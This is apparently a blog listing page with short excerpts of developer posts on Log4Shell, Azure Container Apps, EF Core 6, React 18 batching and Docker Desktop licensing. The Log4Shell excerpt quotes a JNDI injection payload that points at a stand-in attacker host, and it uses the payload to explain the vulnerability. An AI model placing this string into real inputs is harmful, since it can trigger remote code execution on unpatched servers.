Log4Shell Explained (CVE-2021-44228)

Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]

Read more →

Azure Container Apps is GA

Azure Container Apps (ACA) is now Generally Available. It provides serverless containers without managing Kubernetes, with built-in KEDA scaling and Dapr integration. When to Use ACA vs AKS Feature ACA AKS Control Plane Management Fully Managed Self Managed Scale to Zero ✅ Yes Requires KEDA Custom CRDs ❌ No ✅ Yes Key Takeaways Use ACA […]

Read more →

Top 5 Features of Entity Framework Core 6

EF Core 6 ships with .NET 6 and brings several performance and usability improvements. Here are the highlights. 1. Compiled Models Pre-compile your model to avoid expensive startup reflection. 2. Temporal Tables (SQL Server) 3. Pre-Convention Model Configuration Apply conventions like “all strings max 256” globally. 4. Migration Bundles Package migrations as executables for CI/CD. […]

Read more →

React 18 Alpha: Automatic Batching

React 18 (in alpha at this time) introduces **Automatic Batching**. Previously, React only batched state updates inside event handlers. Now it batches everywhere—setTimeout, Promises, native events. Before React 18 After React 18 Key Takeaways Use `flushSync` if you explicitly need an immediate render. This reduces rendering overhead significantly in complex apps.

Read more →

Docker Desktop Licensing: What Now?

Docker changed its licensing: Docker Desktop is now paid for companies with 250+ employees or $10M+ revenue. This shook the developer world.””” Alternatives **Rancher Desktop**: Free, uses containerd or dockerd, runs on Lima (macOS) or WSL2 (Windows). **Podman Desktop**: Daemonless, rootless, open-source. **Colima (macOS)**: Lightweight alternative using Lima. Rancher Desktop Setup Key Takeaways For startups/individuals, […]

Read more →